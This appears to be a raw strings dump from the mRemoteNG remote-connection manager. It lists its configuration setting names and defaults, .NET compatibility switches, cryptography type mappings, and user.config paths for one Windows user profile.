InhDefaultColors InhDefaultDescription InhDefaultDisplayThemes InhDefaultDisplayWallpaper InhDefaultDomain InhDefaultIcon InhDefaultPassword InhDefaultPort InhDefaultProtocol InhDefaultPuttySession InhDefaultRedirectDiskDrives InhDefaultRedirectKeys InhDefaultRedirectPorts InhDefaultRedirectPrinters InhDefaultRedirectSmartCards InhDefaultRedirectSound InhDefaultResolution InhDefaultUseConsoleSession InhDefaultUsername InhDefaultPanel ConDefaultICAEncryptionStrength InhDefaultICAEncryptionStrength ConDefaultPreExtApp ConDefaultPostExtApp InhDefaultPreExtApp InhDefaultPostExtApp SetHostnameLikeDisplayName DoubleClickOnTabClosesIt ReconnectOnDisconnect AlwaysShowPanelSelectionDlg ConDefaultVNCAuthMode ConDefaultVNCColors ConDefaultVNCSmartSizeMode ConDefaultVNCViewOnly ConDefaultVNCCompression ConDefaultVNCEncoding ConDefaultVNCProxyIP ConDefaultVNCProxyPassword ConDefaultVNCProxyPort ConDefaultVNCProxyType ConDefaultVNCProxyUsername InhDefaultVNCAuthMode InhDefaultVNCColors InhDefaultVNCSmartSizeMode InhDefaultVNCViewOnly InhDefaultVNCCompression InhDefaultVNCEncoding InhDefaultVNCProxyIP InhDefaultVNCProxyPassword InhDefaultVNCProxyPort InhDefaultVNCProxyType InhDefaultVNCProxyUsername MinimizeToTray SingleClickSwitchesToOpenConnection ConDefaultRDPAuthenticationLevel InhDefaultRDPAuthenticationLevel UVNCSCPort StartupComponentsCheck XULRunnerPath ConDefaultRenderingEngine InhDefaultRenderingEngine ConDefaultMacAddress InhDefaultMacAddress EncryptCompleteConnectionsFile ConDefaultUserField InhDefaultUserField ConDefaultExtApp InhDefaultExtApp CheckForUpdatesAsked CheckForUpdatesFrequencyDays CheckForUpdatesLastCheck UpdatePending ConDefaultRDGatewayUsageMethod ConDefaultRDGatewayUseConnectionCredentials ConDefaultIcon InhDefaultRDGatewayUsageMethod InhDefaultRDGatewayHostname InhDefaultRDGatewayUsername InhDefaultRDGatewayPassword InhDefaultRDGatewayDomain InhDefaultRDGatewayUseConnectionCredentials RdpReconnectionCount OverrideUICulture ConDefaultRDGatewayHostname ConDefaultRDGatewayUsername ConDefaultRDGatewayPassword ConDefaultRDGatewayDomain ConDefaultEnableFontSmoothing InhDefaultEnableFontSmoothing ConDefaultEnableDesktopComposition InhDefaultEnableDesktopComposition ConfirmCloseConnection MainFormRestoreSize MainFormRestoreLocation SQLDatabaseName BackupFileKeepCount BackupFileNameFormat InhDefaultUseCredSsp ConDefaultUseCredSsp AlwaysShowPanelTabs IdentifyQuickConnectTabs UpdateChannel ThemeName ShowConfigHelpText PuttySavedSessionsName PuttySavedSessionsPanel CompatibilityWarnLenovoAutoScrollUtility UpdateAddress ConDefaultLoadBalanceInfo ConDefaultAutomaticResize InhDefaultLoadBalanceInfo InhDefaultAutomaticResize QuickConnectProtocol KeysPreviousTab KeysNextTab ShowCompleteConsPathInTitle ConRDPOverallConnectionTimeout EncryptionEngine EncryptionBlockCipherMode EncryptionKeyDerivationIterations ConDefaultSoundQuality InhDefaultSoundQuality ConDefaultRDPMinutesToIdleTimeout InhDefaultRDPMinutesToIdleTimeout ConDefaultRDPAlertIdleTimeout InhDefaultRDPAlertIdleTimeout InhDefaultCredentialRecord ConDefaultCredentialRecord LogFilePath TextLogMessageWriterWriteDebugMsgs TextLogMessageWriterWriteInfoMsgs TextLogMessageWriterWriteWarningMsgs TextLogMessageWriterWriteErrorMsgs NotificationPanelWriterWriteDebugMsgs NotificationPanelWriterWriteInfoMsgs NotificationPanelWriterWriteWarningMsgs NotificationPanelWriterWriteErrorMsgs PopupMessageWriterWriteDebugMsgs PopupMessageWriterWriteInfoMsgs PopupMessageWriterWriteWarningMsgs PopupMessageWriterWriteErrorMsgs LogToApplicationDirectory PromptUnlockCredReposOnStartup SupportedUICultures ThemingActive ConDefaultUsername ConDefaultPassword ConDefaultDomain ConDefaultPanel SaveConnectionsAfterEveryEdit UseFilterSearch SQLReadOnly LockToolbars RdpLoadBalanceInfoUseUtf8 MultiSshToolbarLocation MultiSshToolbarParentDock MultiSshToolbarVisible CreateEmptyPanelOnStartUp StartUpPanelName OverrideFIPSCheck RFLCT.InvalidFieldFail RFLCT.InvalidPropFail mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null mRemoteNG.Config.Settings.Providers.ChooseProvider, mRemoteNG, Version=1.76.20.24615, Culture=neutral, PublicKeyToken=null Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator 15.9.0.0 0, 0 LocalFileSettingsProvider description System.Configuration.Internal.ConfigurationManagerInternal, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a abcdefghijklmnopqrstuvwxyz012345 file:/// http:// user.config file: .config file:// DataDirectory file: http: \\?\globalroot "<>| "<>| "<>| "<>| :*?\/ abcdefghijklmnopqrstuvwxyz012345 TestSwitch.LocalAppContext.DisableCaching .NETFramework Version Profile input version build revision .NETCore WindowsPhone WindowsPhoneApp Switch.System.Globalization.NoAsyncCurrentCulture Switch.System.Globalization.EnforceJapaneseEraYearRanges Switch.System.Globalization.FormatJapaneseFirstYearAsANumber Switch.System.Globalization.EnforceLegacyJapaneseDateParsing Switch.System.Threading.ThrowExceptionIfDisposedCancellationTokenSource Switch.System.Diagnostics.EventSource.PreserveEventListnerObjectIdentity Switch.System.IO.UseLegacyPathHandling Switch.System.IO.BlockLongPaths Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle Switch.System.Security.ClaimsIdentity.SetActorAsReferenceWhenCopyingClaimsIdentity Switch.System.Diagnostics.IgnorePortablePDBsInStackTraces Switch.System.Runtime.Serialization.UseNewMaxArraySize Switch.System.Runtime.Serialization.UseConcurrentFormatterTypeCache Switch.System.Threading.UseLegacyExecutionContextBehaviorUponUndoFailure Switch.System.Security.Cryptography.UseLegacyFipsThrow Switch.System.Runtime.InteropServices.DoNotMarshalOutByrefSafeArrayOnInvoke Switch.System.Threading.UseNetCoreTimer SOFTWARE\Microsoft\.NETFramework\AppContext 1.0.0.0 mRemoteNG \\?\ \VarFileInfo\Translation \\StringFileInfo\\{0}\\{1} CompanyName FileDescription FileVersion InternalName LegalCopyright OriginalFilename ProductName ProductVersion Comments LegalTrademarks PrivateBuild SpecialBuild format args StrongName Path ExecutionEngine_MissingSecurityDescriptor file:///C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe NameInfo Pool SerObjectInfo Pool index length mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.String ___AssemblyString___ charIndex path2 path1 type Switch.System.Diagnostics.DoNotUseTypeDescriptorThreadingFix TestSwitch.LocalAppContext.DisableCaching System.AppContext TryGetSwitch InvalidOperation_APIInvalidForCurrentContext .NETFramework Version Profile .NETCore Switch.System.Net.DontEnableSchUseStrongCrypto Switch.System.MemberDescriptorEqualsReturnsFalseIfEquivalent Switch.System.Net.DontEnableSystemDefaultTlsVersions Switch.System.Net.DontEnableTlsAlerts Switch.System.IO.Ports.DoNotCatchSerialStreamThreadExceptions Switch.System.Uri.DontEnableStrictRFC3986ReservedCharacterSets Switch.System.Uri.DontKeepUnicodeBidiFormattingCharacters Switch.System.IO.Compression.DoNotUseNativeZipLibraryForDecompression WindowsPhone WindowsPhoneApp TypeDescriptor Debug TypeDescriptor. componentType System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.PointConverter, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 0, 0 System.Drawing.SizeConverter, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Normal Default False True Chars 496B0ABE-CDEE-11d3-88E8-00902754C43A System.SZArrayHelper True True True False False True True False False True False False noinfo False True False False False False Default Settings False FitToWindow Colors16Bit False False False False False False False False DoNotPlay False False False False True 0, 0 Bottom True 3, 24 False False False False False False False False False False False False False False False False False False False False False False False EncrBasic False False False False True False False AuthVNC ColNormal SmartSAspect False CompNone EncHextile ProxyNone False False False False False False False False False False False False False NoAuth False 5500 False False False False False False False 1980-01-01 False Never mRemoteNG False False False False False False False False False False mRemoteNG {0}.{1:yyyyMMdd-HHmmssffff}.backup False True False False release True True https://mremoteng.org/ True False False 9/9, 33/8 9/8, 34/8 False 1000 Dynamic False False False False False 00000000-0000-0000-0000-000000000000 False True True True False False True True False False False False True True cs-CZ,de,el,en,en-US,es-AR,es,fr,hu,it,ja-JP,ko-KR,nb-NO,nl,pt,pt-BR,pl,ru,uk,tr-TR,zh-CN,zh-TW False General True False False False False 0, 0 False False General False {0}.{1} (?<=_)[Xx]([0-9a-fA-F]{4}|[0-9a-fA-F]{8})_ XmlCharType.bin capacity applicationSettings/ userSettings/ applicationSettings/mRemoteNG.Settings System.Configuration.ConfigurationBuildersSection, System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Config_error_loading_XML_file MACHINE/EXE MACHINE ROAMING_USER LOCAL_USER http https file gopher nntp news mailto uuid telnet ldap net.tcp net.pipe vsmacros TargetFrameworkMoniker .NETPortable Silverlight WindowsPhone71 WindowsPhone8 0123456789abcdef MACHINE/EXE/ROAMING_USER/LOCAL_USER MACHINE/EXE/ROAMING_USER Config machine.config C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config \\.\ mode access rights share Config_base_unrecognized_element System.Security.Cryptography.RandomNumberGenerator cryptoNameMapping oidMap mscorlib machine.config configuration cryptographySettings C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\ C:\Users\job\AppData\Roaming\Microsoft\CLR Security Config\v4.0.30319\ System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA256 System.Security.Cryptography.SHA256Cng SHA1 SHA256 System.Security.Cryptography.SHA1 System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.MD5Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA1Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA256Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Security.Cryptography.DpapiDataProtector, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a RandomNumberGenerator System.Security.Cryptography.SHA1Cng System.Security.Cryptography.HashAlgorithm System.Security.Cryptography.MD5 System.Security.Cryptography.MD5Cng SHA-256 System.Security.Cryptography.SHA256CryptoServiceProvider SHA384 SHA-384 System.Security.Cryptography.SHA384 System.Security.Cryptography.SHA384Cng System.Security.Cryptography.SHA384CryptoServiceProvider SHA512 SHA-512 System.Security.Cryptography.SHA512 System.Security.Cryptography.SHA512Cng System.Security.Cryptography.SHA512CryptoServiceProvider RIPEMD160 RIPEMD-160 System.Security.Cryptography.RIPEMD160 System.Security.Cryptography.RIPEMD160Managed System.Security.Cryptography.HMAC System.Security.Cryptography.KeyedHashAlgorithm HMACMD5 System.Security.Cryptography.HMACMD5 HMACRIPEMD160 System.Security.Cryptography.HMACRIPEMD160 HMACSHA1 System.Security.Cryptography.HMACSHA1 HMACSHA256 System.Security.Cryptography.HMACSHA256 HMACSHA384 System.Security.Cryptography.HMACSHA384 HMACSHA512 System.Security.Cryptography.HMACSHA512 MACTripleDES System.Security.Cryptography.MACTripleDES System.Security.Cryptography.RSA System.Security.Cryptography.AsymmetricAlgorithm RSAPSS DSA-FIPS186-3 System.Security.Cryptography.DSA ECDsa ECDsaCng System.Security.Cryptography.ECDsaCng ECDH ECDiffieHellman ECDiffieHellmanCng System.Security.Cryptography.ECDiffieHellmanCng System.Security.Cryptography.DES 3DES TripleDES Triple DES System.Security.Cryptography.TripleDES System.Security.Cryptography.RC2 Rijndael System.Security.Cryptography.Rijndael System.Security.Cryptography.SymmetricAlgorithm AesCryptoServiceProvider System.Security.Cryptography.AesCryptoServiceProvider AesManaged System.Security.Cryptography.AesManaged DpapiDataProtector System.Security.Cryptography.DpapiDataProtector http://www.w3.org/2000/09/xmldsig#dsa-sha1 System.Security.Cryptography.DSASignatureDescription http://www.w3.org/2000/09/xmldsig#rsa-sha1 System.Security.Cryptography.RSASignatureDescription http://www.w3.org/2001/04/xmldsig-more#rsa-sha256 http://www.w3.org/2001/04/xmldsig-more#rsa-sha384 http://www.w3.org/2001/04/xmldsig-more#rsa-sha512 http://www.w3.org/2000/09/xmldsig#sha1 http://www.w3.org/2001/04/xmlenc#sha256 http://www.w3.org/2001/04/xmlenc#sha512 http://www.w3.org/2001/04/xmlenc#ripemd160 http://www.w3.org/2001/04/xmlenc#des-cbc http://www.w3.org/2001/04/xmlenc#tripledes-cbc http://www.w3.org/2001/04/xmlenc#kw-tripledes http://www.w3.org/2001/04/xmlenc#aes128-cbc http://www.w3.org/2001/04/xmlenc#kw-aes128 http://www.w3.org/2001/04/xmlenc#aes192-cbc http://www.w3.org/2001/04/xmlenc#kw-aes192 http://www.w3.org/2001/04/xmlenc#aes256-cbc http://www.w3.org/2001/04/xmlenc#kw-aes256 http://www.w3.org/TR/2001/REC-xml-c14n-20010315 System.Security.Cryptography.Xml.XmlDsigC14NTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments System.Security.Cryptography.Xml.XmlDsigC14NWithCommentsTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2001/10/xml-exc-c14n# System.Security.Cryptography.Xml.XmlDsigExcC14NTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2001/10/xml-exc-c14n#WithComments System.Security.Cryptography.Xml.XmlDsigExcC14NWithCommentsTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig#base64 System.Security.Cryptography.Xml.XmlDsigBase64Transform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/TR/1999/REC-xpath-19991116 System.Security.Cryptography.Xml.XmlDsigXPathTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/TR/1999/REC-xslt-19991116 System.Security.Cryptography.Xml.XmlDsigXsltTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig#enveloped-signature System.Security.Cryptography.Xml.XmlDsigEnvelopedSignatureTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2002/07/decrypt#XML System.Security.Cryptography.Xml.XmlDecryptionTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform System.Security.Cryptography.Xml.XmlLicenseTransform, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig# X509Data System.Security.Cryptography.Xml.KeyInfoX509Data, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig# KeyName System.Security.Cryptography.Xml.KeyInfoName, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig# KeyValue/DSAKeyValue System.Security.Cryptography.Xml.DSAKeyValue, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig# KeyValue/RSAKeyValue System.Security.Cryptography.Xml.RSAKeyValue, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig# RetrievalMethod System.Security.Cryptography.Xml.KeyInfoRetrievalMethod, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2001/04/xmlenc# EncryptedKey System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a http://www.w3.org/2000/09/xmldsig#hmac-sha1 http://www.w3.org/2001/04/xmldsig-more#md5 http://www.w3.org/2001/04/xmldsig-more#sha384 http://www.w3.org/2001/04/xmldsig-more#hmac-md5 http://www.w3.org/2001/04/xmldsig-more#hmac-ripemd160 http://www.w3.org/2001/04/xmldsig-more#hmac-sha256 http://www.w3.org/2001/04/xmldsig-more#hmac-sha384 http://www.w3.org/2001/04/xmldsig-more#hmac-sha512 2.5.29.10 System.Security.Cryptography.X509Certificates.X509BasicConstraintsExtension, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 2.5.29.19 2.5.29.14 System.Security.Cryptography.X509Certificates.X509SubjectKeyIdentifierExtension, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 2.5.29.15 System.Security.Cryptography.X509Certificates.X509KeyUsageExtension, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 2.5.29.37 System.Security.Cryptography.X509Certificates.X509EnhancedKeyUsageExtension, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 X509Chain System.Security.Cryptography.X509Certificates.X509Chain, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 1.2.840.113549.1.9.3 System.Security.Cryptography.Pkcs.Pkcs9ContentType, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 1.2.840.113549.1.9.4 System.Security.Cryptography.Pkcs.Pkcs9MessageDigest, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 1.2.840.113549.1.9.5 System.Security.Cryptography.Pkcs.Pkcs9SigningTime, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 1.3.6.1.4.1.311.88.2.1 System.Security.Cryptography.Pkcs.Pkcs9DocumentName, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 1.3.6.1.4.1.311.88.2.2 System.Security.Cryptography.Pkcs.Pkcs9DocumentDescription, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a xmlns TargetsAtLeast_Desktop_V4_5_2 System.Runtime.Versioning.BinaryCompatibility HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_PERFORMANCE_DATA HKEY_CURRENT_CONFIG HKEY_DYN_DATA SOFTWARE\Microsoft\.NETFramework\XML EnableLegacyXmlSettings http://www.w3.org/2000/xmlns/ http://www.w3.org/XML/1998/namespace Xml_UnknownEncoding ebcdic utf-16 utf-16BE MaxCharactersInDocument MaxCharactersFromEntities Xml_LimitExceeded Xml_MissingRoot system.net MACHINE/EXE log4net log4net.Config.Log4NetConfigurationSectionHandler, log4net userSettings System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 userSettings/mRemoteNG.Settings applicationSettings System.Configuration.ApplicationSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mRemoteNG.Resources.Themes.ColorMap System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 applicationSettings/mRemoteNG.Resources.Themes.ColorMap applicationSettings/mRemoteNG.Settings Xml_XmlnsPrefix Xml_NamespaceDeclXmlXmlns Xml_BadNamespaceDecl applicationSettings mRemoteNG.Settings System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 applicationSettings/mRemoteNG.Settings system.net/ lockAttributes lockAllAttributesExcept lockElements lockAllElementsExcept lockItem \?:*"<>| \?:*"<>| path mRemoteNG.Settings CreateInstance level setting name serializeAs Config_base_unrecognized_attribute setting lock name serializeAs value #document #document-fragment #comment #text #cdata-section #entity #whitespace #significant-whitespace space lang UpdateAddress value Arg_EnumValueNotFound Arg_MustContainEnumInfo value https://mremoteng.org/ Config_base_collection_entry_already_exists SupportedUICultures cs-CZ,de,el,en,en-US,es-AR,es,fr,hu,it,ja-JP,ko-KR,nb-NO,nl,pt,pt-BR,pl,ru,uk,tr-TR,zh-CN,zh-TW userSettings/mRemoteNG.Settings userSettings mRemoteNG.Settings System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 userSettings/mRemoteNG.Settings C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe mRemoteNG 1.76.20.24615 mRemoteNG C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.20.24615 C:\Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.20.24615\user.config C:\Users\job\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.20.24615 C:\Users\job\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.20.24615\user.config ROAMING_USER LOCAL_USER MACHINE/EXE/ROAMING_USER ROAMING_USER MACHINE/EXE/ROAMING_USER/LOCAL_USER LOCAL_USER mRemoteNG.Settings setting name serializeAs MainFormLocation 0, 0 MainFormSize 0, 0 MainFormState Normal MainFormKiosk False DoUpgrade True CustomPuttyPath SwitchToMCOnInformation True SwitchToMCOnWarning True SwitchToMCOnError True AutomaticallyGetSessionInfo False LoadConsFromCustomLocation False CustomConsPath SaveConsOnExit True CheckForUpdatesOnStartup True ShowDescriptionTooltipsInTree False ShowSystemTrayIcon False OpenTabsRightOfSelected True ShowLogonInfoOnTabs False SingleClickOnConnectionOpensIt False EmptyCredentials noinfo DefaultUsername DefaultPassword DefaultDomain UseCustomPuttyPath False FirstStart True ShowProtocolOnTabs False ResetPanels False UpdateUseProxy False UpdateProxyAddress UpdateProxyPort UpdateProxyUseAuthentication False UpdateProxyAuthUser UpdateProxyAuthPass ConDefaultDescription ConDefaultProtocol ConDefaultPuttySession Default Settings ConDefaultUseConsoleSession False ConDefaultResolution FitToWindow ConDefaultColors Colors16Bit ConDefaultCacheBitmaps False ConDefaultDisplayWallpaper False ConDefaultDisplayThemes False ConDefaultRedirectKeys False ConDefaultRedirectDiskDrives False ConDefaultRedirectPrinters False ConDefaultRedirectPorts False ConDefaultRedirectSmartCards False ConDefaultRedirectSound DoNotPlay MaxPuttyWaitTime SingleInstance False OpenConsFromLastSession False NoReconnect False AutoSaveEveryMinutes ExtAppsTBVisible False ExtAppsTBShowText True ExtAppsTBLocation 0, 0 ExtAppsTBParentDock Bottom QuickyTBVisible True QuickyTBLocation 3, 24 QuickyTBParentDock ResetToolbars False UseSQLServer False SQLHost SQLUser SQLPass InhDefaultCacheBitmaps False InhDefaultColors False InhDefaultDescription False InhDefaultDisplayThemes False InhDefaultDisplayWallpaper False InhDefaultDomain False InhDefaultIcon False InhDefaultPassword False InhDefaultPort False InhDefaultProtocol False InhDefaultPuttySession False InhDefaultRedirectDiskDrives False InhDefaultRedirectKeys False InhDefaultRedirectPorts False InhDefaultRedirectPrinters False InhDefaultRedirectSmartCards False InhDefaultRedirectSound False InhDefaultResolution False InhDefaultUseConsoleSession False InhDefaultUsername False InhDefaultPanel False ConDefaultICAEncryptionStrength EncrBasic InhDefaultICAEncryptionStrength False ConDefaultPreExtApp ConDefaultPostExtApp InhDefaultPreExtApp False InhDefaultPostExtApp False SetHostnameLikeDisplayName False DoubleClickOnTabClosesIt True ReconnectOnDisconnect False AlwaysShowPanelSelectionDlg False ConDefaultVNCAuthMode AuthVNC ConDefaultVNCColors ColNormal ConDefaultVNCSmartSizeMode SmartSAspect ConDefaultVNCViewOnly False ConDefaultVNCCompression CompNone ConDefaultVNCEncoding EncHextile ConDefaultVNCProxyIP ConDefaultVNCProxyPassword ConDefaultVNCProxyPort ConDefaultVNCProxyType ProxyNone ConDefaultVNCProxyUsername InhDefaultVNCAuthMode False InhDefaultVNCColors False InhDefaultVNCSmartSizeMode False InhDefaultVNCViewOnly False InhDefaultVNCCompression False InhDefaultVNCEncoding False InhDefaultVNCProxyIP False InhDefaultVNCProxyPassword False InhDefaultVNCProxyPort False InhDefaultVNCProxyType False InhDefaultVNCProxyUsername False MinimizeToTray False SingleClickSwitchesToOpenConnection False ConDefaultRDPAuthenticationLevel NoAuth InhDefaultRDPAuthenticationLevel False UVNCSCPort 5500 StartupComponentsCheck False XULRunnerPath ConDefaultRenderingEngine InhDefaultRenderingEngine False ConDefaultMacAddress InhDefaultMacAddress False EncryptCompleteConnectionsFile False ConDefaultUserField InhDefaultUserField False ConDefaultExtApp InhDefaultExtApp False CheckForUpdatesAsked False CheckForUpdatesFrequencyDays CheckForUpdatesLastCheck 1980-01-01 UpdatePending False ConDefaultRDGatewayUsageMethod Never ConDefaultRDGatewayUseConnectionCredentials ConDefaultIcon mRemoteNG InhDefaultRDGatewayUsageMethod False InhDefaultRDGatewayHostname False InhDefaultRDGatewayUsername False InhDefaultRDGatewayPassword False InhDefaultRDGatewayDomain False InhDefaultRDGatewayUseConnectionCredentials False RdpReconnectionCount OverrideUICulture ConDefaultRDGatewayHostname ConDefaultRDGatewayUsername ConDefaultRDGatewayPassword ConDefaultRDGatewayDomain ConDefaultEnableFontSmoothing False InhDefaultEnableFontSmoothing False ConDefaultEnableDesktopComposition False InhDefaultEnableDesktopComposition False ConfirmCloseConnection SQLDatabaseName mRemoteNG BackupFileKeepCount BackupFileNameFormat {0}.{1:yyyyMMdd-HHmmssffff}.backup InhDefaultUseCredSsp False ConDefaultUseCredSsp True AlwaysShowPanelTabs False IdentifyQuickConnectTabs False UpdateChannel release ThemeName ShowConfigHelpText True PuttySavedSessionsName PuttySavedSessionsPanel CompatibilityWarnLenovoAutoScrollUtility True ConDefaultLoadBalanceInfo ConDefaultAutomaticResize True InhDefaultLoadBalanceInfo False InhDefaultAutomaticResize False QuickConnectProtocol KeysPreviousTab 9/9, 33/8 KeysNextTab 9/8, 34/8 ShowCompleteConsPathInTitle False ConRDPOverallConnectionTimeout EncryptionEngine EncryptionBlockCipherMode EncryptionKeyDerivationIterations 1000 ConDefaultSoundQuality Dynamic InhDefaultSoundQuality False ConDefaultRDPMinutesToIdleTimeout InhDefaultRDPMinutesToIdleTimeout False ConDefaultRDPAlertIdleTimeout False InhDefaultRDPAlertIdleTimeout False InhDefaultCredentialRecord False ConDefaultCredentialRecord 00000000-0000-0000-0000-000000000000 LogFilePath TextLogMessageWriterWriteDebugMsgs False TextLogMessageWriterWriteInfoMsgs True TextLogMessageWriterWriteWarningMsgs True TextLogMessageWriterWriteErrorMsgs True NotificationPanelWriterWriteDebugMsgs False NotificationPanelWriterWriteInfoMsgs False NotificationPanelWriterWriteWarningMsgs True NotificationPanelWriterWriteErrorMsgs True PopupMessageWriterWriteDebugMsgs False PopupMessageWriterWriteInfoMsgs False PopupMessageWriterWriteWarningMsgs False PopupMessageWriterWriteErrorMsgs False LogToApplicationDirectory True PromptUnlockCredReposOnStartup True ThemingActive False ConDefaultUsername ConDefaultPassword ConDefaultDomain ConDefaultPanel General SaveConnectionsAfterEveryEdit True UseFilterSearch False SQLReadOnly False LockToolbars False RdpLoadBalanceInfoUseUtf8 False MultiSshToolbarLocation 0, 0 MultiSshToolbarParentDock MultiSshToolbarVisible False CreateEmptyPanelOnStartUp False StartUpPanelName General OverrideFIPSCheck False mRemoteNG.Settings setting name serializeAs MainFormLocation -8, -8 MainFormSize 3454, 1167 MainFormState Maximized MainFormKiosk False DoUpgrade False LoadConsFromCustomLocation False FirstStart False ResetPanels False NoReconnect False ExtAppsTBVisible False ExtAppsTBShowText True ExtAppsTBLocation 3, 25 ExtAppsTBParentDock Bottom QuickyTBVisible True QuickyTBLocation 3, 24 QuickyTBParentDock ResetToolbars False CheckForUpdatesLastCheck 02/24/2026 08:02:39 UpdatePending False 